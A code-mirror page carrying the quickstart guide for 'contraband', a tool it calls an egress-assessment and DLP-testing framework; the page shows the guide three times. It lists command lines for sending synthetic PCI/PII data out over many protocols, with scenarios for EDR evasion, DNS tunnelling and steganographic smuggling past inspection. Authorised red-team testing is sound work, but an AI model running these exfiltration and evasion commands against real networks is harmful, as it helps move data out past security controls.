        ● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
      

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy

Source ZIP (1.93 MB)

Code 174 Commits 1

← Back to directory

5.7 KB

Raw

Quickstart Guide

This guide walks through setting up an assessment infrastructure in 30 seconds using either the unified contraband command or standalone binaries.

1. Start the Reflection & Command Center Server

Run the server on your staging or egress listener host.

BASH

# Unified binary syntax
contraband server \
  --live-dashboard :8080 \
  --bind 0.0.0.0 \
  --ports quick \
  --protocols all \
  --save-payload \
  --evidence-dir evidence

# Standalone binary syntax
contraband-server \
  --dashboard :8080 \
  --bind 0.0.0.0 \
  --ports quick \
  --protocols all

This command launches the live web dashboard on port 8080 (accessible via /dashboard), initiates dedicated L7 listeners (HTTP/1.1, HTTP/2, HTTP/3, WebSockets, WebDAV, gRPC, DNS, FTP, SFTP, SMTP, SMB), and starts the userspace port reflection demultiplexer across the configured port matrix.

2. Execute Client Egress Assessment

On the client workstation or target internal host:

BASH

# Standard assessment against staging server
contraband client \
  --server 198.51.100.1 \
  --ports quick \
  --protocols web \
  --dlp pci \
  --throughput 1MB/s \
  --sync-report http://198.51.100.1:8080 \
  --output-html report.html \
  --output-json report.json

# Standalone client syntax
contraband-client \
  --server 198.51.100.1 \
  --ports 80,443,8443 \
  --dlp secrets \
  --carrier-type json \
  --sync-report http://198.51.100.1:8080

3. Autonomous 7-Stage Pipeline

When executed, the client automatically navigates seven consecutive assessment phases:

CODE

[+] Stage 1: L4 Port Sweep              - Concurrency-bounded SYN/Connect sweep across target ports
[+] Stage 2: Proxy Traversal Check      - Auto-evaluates Direct, PAC, and Authenticated proxy paths
[+] Stage 3: Covert Shaping & Jitter    - Token bucket rate-limiter and cadence pacing engine
[+] Stage 4: Synthetic DLP Generation   - In-memory generation of mathematically valid test secrets
[+] Stage 5: Evasion & Stego Pipeline   - Encoding, compression, encryption, and carrier wrapping
[+] Stage 6: Multi-Protocol Smuggling   - Parallel chunk transfer and server verification handshakes
[+] Stage 7: EEI Scoring & Sync         - Calculates Egress Exposure Index, exports SARIF/HTML, syncs to HUD

4. Multi-Zone Distributed Execution

To monitor multiple network zones simultaneously in the Command Center:

BASH

# Client in Corporate HQ
contraband-client -s 198.51.100.1 --zone "HQ-Workstations" --sync-report http://198.51.100.1:8080

# Client in Branch Office
contraband-client -s 198.51.100.1 --zone "Branch-Offices" --sync-report http://198.51.100.1:8080

# Client in AWS VPC
contraband-client -s 198.51.100.1 --zone "Cloud-VPC-Production" --sync-report http://198.51.100.1:8080

The Command Center aggregates telemetry from all zones in real-time, displays comparative EEI scores, and logs zone-specific security findings.

5. Assessment Scenarios by Environment

Stealth & Low-and-Slow EDR Evasion

Throttle exfiltration rate to 100 KB/s with randomized inter-packet jitter (2s–10s), Chrome TLS fingerprinting, and AES-256-GCM + Zstandard transform chaining:

BASH

contraband client \
  --server 198.51.100.1 \
  --protocols https_post,dns_over_https \
  --cadence low-and-slow \
  --throughput 100KB/s \
  --interval-min 2s \
  --interval-max 10s \
  --tls-fingerprint chrome \
  --transforms aes_gcm,zstd,base64 \
  --passphrase "AssessmentSecretKey2026!"

High-Throughput QUIC & UDP Deep Packet Inspection

Paces a 2 MB DLP payload at a steady 1 MB/s across discrete 64 KB chunks to evaluate NGFW deep-packet inspection over modern UDP-based HTTP/3 and SMB-over-QUIC listeners:

BASH

contraband client \
  --server 198.51.100.1 \
  --protocols http3_quic,smb_quic \
  --size 2MB \
  --rate 1MB/s \
  --chunk-size 64KB \
  --cadence steady \
  --sync-report http://198.51.100.1:8080

Corporate Proxy Traversal (NTLM / Negotiate / WPAD)

Auto-detects WinHTTP/WPAD proxy configurations or routes through an explicit corporate forward proxy with NTLM authentication and HTTP/2 multiplexing:

BASH

contraband client \
  --server 198.51.100.1 \
  --proxy "http://corp-proxy.internal:8080" \
  --proxy-auth ntlm \
  --protocols http_post,https_post,websocket \
  --ports 80,443,8080,8443

Restricted & Air-Gapped Egress (DNS-Only Smuggling)

When all outbound direct TCP egress is blocked and only recursive internal DNS resolvers are reachable, tunnels chunked payloads over authoritative DNS TXT and A queries:

BASH

contraband client \
  --server tunnel.egress.example.com \
  --protocols dns_txt,dns_a \
  --size 500KB \
  --chunk-size 64KB \
  --rate 50KB/s

Steganographic Carrier Smuggling (Deep File / DPI Bypass)

Embeds encrypted synthetic PCI/PII records into the least significant bits (LSB) of PNG/BMP pixel matrices or polyglot files to bypass content-disarm and deep file inspection:

BASH

contraband client \
  --server 198.51.100.1 \
  --protocols https_post \
  --stego png \
  --carrier-type json \
  --dlp pci,pii \
  --transforms aes_gcm

Enterprise Multi-Zone Segmentation Audit

Tags outbound telemetry with network segment identifiers (pci-enclave, dmz, workstations) to isolate cross-segmentation leakage and aggregate zone comparisons on the centralized dashboard:

BASH

contraband client \
  --server 198.51.100.1 \
  --zone "pci-enclave" \
  --ports standard \
  --protocols web,file,cloud \
  --dlp pci \
  --sync-report http://198.51.100.1:8080

Pre-Flight Safety Dry Run (Zero Sockets, Zero Wire Traffic)

Validates target DNS reachability, port presets, and protocol handlers while confirming the <32 MB heap invariant without transmitting packets over the network:

BASH

contraband client \
  --server 198.51.100.1 \
  --protocols all \
  --dry-run

1	# Quickstart Guide
2
3	This guide walks through setting up an assessment infrastructure in 30 seconds using either the unified `contraband` command or standalone binaries.
4
5	---
6
7	## 1. Start the Reflection & Command Center Server
8
9	Run the server on your staging or egress listener host.
10
11	```bash
12	# Unified binary syntax
13	contraband server \
14	--live-dashboard :8080 \
15	--bind 0.0.0.0 \
16	--ports quick \
17	--protocols all \
18	--save-payload \
19	--evidence-dir evidence
20
21	# Standalone binary syntax
22	contraband-server \
23	--dashboard :8080 \
24	--bind 0.0.0.0 \
25	--ports quick \
26	--protocols all
27	```
28
29	This command launches the live web dashboard on port 8080 (accessible via `/dashboard`), initiates dedicated L7 listeners (HTTP/1.1, HTTP/2, HTTP/3, WebSockets, WebDAV, gRPC, DNS, FTP, SFTP, SMTP, SMB), and starts the userspace port reflection demultiplexer across the configured port matrix.
30
31	---
32
33	## 2. Execute Client Egress Assessment
34
35	On the client workstation or target internal host:
36
37	```bash
38	# Standard assessment against staging server
39	contraband client \
40	--server 198.51.100.1 \
41	--ports quick \
42	--protocols web \
43	--dlp pci \
44	--throughput 1MB/s \
45	--sync-report http://198.51.100.1:8080 \
46	--output-html report.html \
47	--output-json report.json
48
49	# Standalone client syntax
50	contraband-client \
51	--server 198.51.100.1 \
52	--ports 80,443,8443 \
53	--dlp secrets \
54	--carrier-type json \
55	--sync-report http://198.51.100.1:8080
56	```
57
58	---
59
60	## 3. Autonomous 7-Stage Pipeline
61
62	When executed, the client automatically navigates seven consecutive assessment phases:
63
64	```
65	[+] Stage 1: L4 Port Sweep - Concurrency-bounded SYN/Connect sweep across target ports
66	[+] Stage 2: Proxy Traversal Check - Auto-evaluates Direct, PAC, and Authenticated proxy paths
67	[+] Stage 3: Covert Shaping & Jitter - Token bucket rate-limiter and cadence pacing engine
68	[+] Stage 4: Synthetic DLP Generation - In-memory generation of mathematically valid test secrets
69	[+] Stage 5: Evasion & Stego Pipeline - Encoding, compression, encryption, and carrier wrapping
70	[+] Stage 6: Multi-Protocol Smuggling - Parallel chunk transfer and server verification handshakes
71	[+] Stage 7: EEI Scoring & Sync - Calculates Egress Exposure Index, exports SARIF/HTML, syncs to HUD
72	```
73
74	---
75
76	## 4. Multi-Zone Distributed Execution
77
78	To monitor multiple network zones simultaneously in the Command Center:
79
80	```bash
81	# Client in Corporate HQ
82	contraband-client -s 198.51.100.1 --zone "HQ-Workstations" --sync-report http://198.51.100.1:8080
83
84	# Client in Branch Office
85	contraband-client -s 198.51.100.1 --zone "Branch-Offices" --sync-report http://198.51.100.1:8080
86
87	# Client in AWS VPC
88	contraband-client -s 198.51.100.1 --zone "Cloud-VPC-Production" --sync-report http://198.51.100.1:8080
89	```
90
91	The Command Center aggregates telemetry from all zones in real-time, displays comparative EEI scores, and logs zone-specific security findings.
92
93	---
94
95	## 5. Assessment Scenarios by Environment
96
97	### Stealth & Low-and-Slow EDR Evasion
98	Throttle exfiltration rate to 100 KB/s with randomized inter-packet jitter (2s–10s), Chrome TLS fingerprinting, and AES-256-GCM + Zstandard transform chaining:
99
100	```bash
101	contraband client \
102	--server 198.51.100.1 \
103	--protocols https_post,dns_over_https \
104	--cadence low-and-slow \
105	--throughput 100KB/s \
106	--interval-min 2s \
107	--interval-max 10s \
108	--tls-fingerprint chrome \
109	--transforms aes_gcm,zstd,base64 \
110	--passphrase "AssessmentSecretKey2026!"
111	```
112
113	### High-Throughput QUIC & UDP Deep Packet Inspection
114	Paces a 2 MB DLP payload at a steady 1 MB/s across discrete 64 KB chunks to evaluate NGFW deep-packet inspection over modern UDP-based HTTP/3 and SMB-over-QUIC listeners:
115
116	```bash
117	contraband client \
118	--server 198.51.100.1 \
119	--protocols http3_quic,smb_quic \
120	--size 2MB \
121	--rate 1MB/s \
122	--chunk-size 64KB \
123	--cadence steady \
124	--sync-report http://198.51.100.1:8080
125	```
126
127	### Corporate Proxy Traversal (NTLM / Negotiate / WPAD)
128	Auto-detects WinHTTP/WPAD proxy configurations or routes through an explicit corporate forward proxy with NTLM authentication and HTTP/2 multiplexing:
129
130	```bash
131	contraband client \
132	--server 198.51.100.1 \
133	--proxy "http://corp-proxy.internal:8080" \
134	--proxy-auth ntlm \
135	--protocols http_post,https_post,websocket \
136	--ports 80,443,8080,8443
137	```
138
139	### Restricted & Air-Gapped Egress (DNS-Only Smuggling)
140	When all outbound direct TCP egress is blocked and only recursive internal DNS resolvers are reachable, tunnels chunked payloads over authoritative DNS TXT and A queries:
141
142	```bash
143	contraband client \
144	--server tunnel.egress.example.com \
145	--protocols dns_txt,dns_a \
146	--size 500KB \
147	--chunk-size 64KB \
148	--rate 50KB/s
149	```
150
151	### Steganographic Carrier Smuggling (Deep File / DPI Bypass)
152	Embeds encrypted synthetic PCI/PII records into the least significant bits (LSB) of PNG/BMP pixel matrices or polyglot files to bypass content-disarm and deep file inspection:
153
154	```bash
155	contraband client \
156	--server 198.51.100.1 \
157	--protocols https_post \
158	--stego png \
159	--carrier-type json \
160	--dlp pci,pii \
161	--transforms aes_gcm
162	```
163
164	### Enterprise Multi-Zone Segmentation Audit
165	Tags outbound telemetry with network segment identifiers (`pci-enclave`, `dmz`, `workstations`) to isolate cross-segmentation leakage and aggregate zone comparisons on the centralized dashboard:
166
167	```bash
168	contraband client \
169	--server 198.51.100.1 \
170	--zone "pci-enclave" \
171	--ports standard \
172	--protocols web,file,cloud \
173	--dlp pci \
174	--sync-report http://198.51.100.1:8080
175	```
176
177	### Pre-Flight Safety Dry Run (Zero Sockets, Zero Wire Traffic)
178	Validates target DNS reachability, port presets, and protocol handlers while confirming the <32 MB heap invariant without transmitting packets over the network:
179
180	```bash
181	contraband client \
182	--server 198.51.100.1 \
183	--protocols all \
184	--dry-run
185	```

# Quickstart Guide

This guide walks through setting up an assessment infrastructure in 30 seconds using either the unified `contraband` command or standalone binaries.

---

## 1. Start the Reflection & Command Center Server

Run the server on your staging or egress listener host.

```bash
# Unified binary syntax
contraband server \
  --live-dashboard :8080 \
  --bind 0.0.0.0 \
  --ports quick \
  --protocols all \
  --save-payload \
  --evidence-dir evidence

# Standalone binary syntax
contraband-server \
  --dashboard :8080 \
  --bind 0.0.0.0 \
  --ports quick \
  --protocols all
```

This command launches the live web dashboard on port 8080 (accessible via `/dashboard`), initiates dedicated L7 listeners (HTTP/1.1, HTTP/2, HTTP/3, WebSockets, WebDAV, gRPC, DNS, FTP, SFTP, SMTP, SMB), and starts the userspace port reflection demultiplexer across the configured port matrix.

---

## 2. Execute Client Egress Assessment

On the client workstation or target internal host:

```bash
# Standard assessment against staging server
contraband client \
  --server 198.51.100.1 \
  --ports quick \
  --protocols web \
  --dlp pci \
  --throughput 1MB/s \
  --sync-report http://198.51.100.1:8080 \
  --output-html report.html \
  --output-json report.json

# Standalone client syntax
contraband-client \
  --server 198.51.100.1 \
  --ports 80,443,8443 \
  --dlp secrets \
  --carrier-type json \
  --sync-report http://198.51.100.1:8080
```

---

## 3. Autonomous 7-Stage Pipeline

When executed, the client automatically navigates seven consecutive assessment phases:

```
[+] Stage 1: L4 Port Sweep              - Concurrency-bounded SYN/Connect sweep across target ports
[+] Stage 2: Proxy Traversal Check      - Auto-evaluates Direct, PAC, and Authenticated proxy paths
[+] Stage 3: Covert Shaping & Jitter    - Token bucket rate-limiter and cadence pacing engine
[+] Stage 4: Synthetic DLP Generation   - In-memory generation of mathematically valid test secrets
[+] Stage 5: Evasion & Stego Pipeline   - Encoding, compression, encryption, and carrier wrapping
[+] Stage 6: Multi-Protocol Smuggling   - Parallel chunk transfer and server verification handshakes
[+] Stage 7: EEI Scoring & Sync         - Calculates Egress Exposure Index, exports SARIF/HTML, syncs to HUD
```

---

## 4. Multi-Zone Distributed Execution

To monitor multiple network zones simultaneously in the Command Center:

```bash
# Client in Corporate HQ
contraband-client -s 198.51.100.1 --zone "HQ-Workstations" --sync-report http://198.51.100.1:8080

# Client in Branch Office
contraband-client -s 198.51.100.1 --zone "Branch-Offices" --sync-report http://198.51.100.1:8080

# Client in AWS VPC
contraband-client -s 198.51.100.1 --zone "Cloud-VPC-Production" --sync-report http://198.51.100.1:8080
```

The Command Center aggregates telemetry from all zones in real-time, displays comparative EEI scores, and logs zone-specific security findings.

---

## 5. Assessment Scenarios by Environment

### Stealth & Low-and-Slow EDR Evasion
Throttle exfiltration rate to 100 KB/s with randomized inter-packet jitter (2s–10s), Chrome TLS fingerprinting, and AES-256-GCM + Zstandard transform chaining:

```bash
contraband client \
  --server 198.51.100.1 \
  --protocols https_post,dns_over_https \
  --cadence low-and-slow \
  --throughput 100KB/s \
  --interval-min 2s \
  --interval-max 10s \
  --tls-fingerprint chrome \
  --transforms aes_gcm,zstd,base64 \
  --passphrase "AssessmentSecretKey2026!"
```

### High-Throughput QUIC & UDP Deep Packet Inspection
Paces a 2 MB DLP payload at a steady 1 MB/s across discrete 64 KB chunks to evaluate NGFW deep-packet inspection over modern UDP-based HTTP/3 and SMB-over-QUIC listeners:

```bash
contraband client \
  --server 198.51.100.1 \
  --protocols http3_quic,smb_quic \
  --size 2MB \
  --rate 1MB/s \
  --chunk-size 64KB \
  --cadence steady \
  --sync-report http://198.51.100.1:8080
```

### Corporate Proxy Traversal (NTLM / Negotiate / WPAD)
Auto-detects WinHTTP/WPAD proxy configurations or routes through an explicit corporate forward proxy with NTLM authentication and HTTP/2 multiplexing:

```bash
contraband client \
  --server 198.51.100.1 \
  --proxy "http://corp-proxy.internal:8080" \
  --proxy-auth ntlm \
  --protocols http_post,https_post,websocket \
  --ports 80,443,8080,8443
```

### Restricted & Air-Gapped Egress (DNS-Only Smuggling)
When all outbound direct TCP egress is blocked and only recursive internal DNS resolvers are reachable, tunnels chunked payloads over authoritative DNS TXT and A queries:

```bash
contraband client \
  --server tunnel.egress.example.com \
  --protocols dns_txt,dns_a \
  --size 500KB \
  --chunk-size 64KB \
  --rate 50KB/s
```

### Steganographic Carrier Smuggling (Deep File / DPI Bypass)
Embeds encrypted synthetic PCI/PII records into the least significant bits (LSB) of PNG/BMP pixel matrices or polyglot files to bypass content-disarm and deep file inspection:

```bash
contraband client \
  --server 198.51.100.1 \
  --protocols https_post \
  --stego png \
  --carrier-type json \
  --dlp pci,pii \
  --transforms aes_gcm
```

### Enterprise Multi-Zone Segmentation Audit
Tags outbound telemetry with network segment identifiers (`pci-enclave`, `dmz`, `workstations`) to isolate cross-segmentation leakage and aggregate zone comparisons on the centralized dashboard:

```bash
contraband client \
  --server 198.51.100.1 \
  --zone "pci-enclave" \
  --ports standard \
  --protocols web,file,cloud \
  --dlp pci \
  --sync-report http://198.51.100.1:8080
```

### Pre-Flight Safety Dry Run (Zero Sockets, Zero Wire Traffic)
Validates target DNS reachability, port presets, and protocol handlers while confirming the <32 MB heap invariant without transmitting packets over the network:

```bash
contraband client \
  --server 198.51.100.1 \
  --protocols all \
  --dry-run
```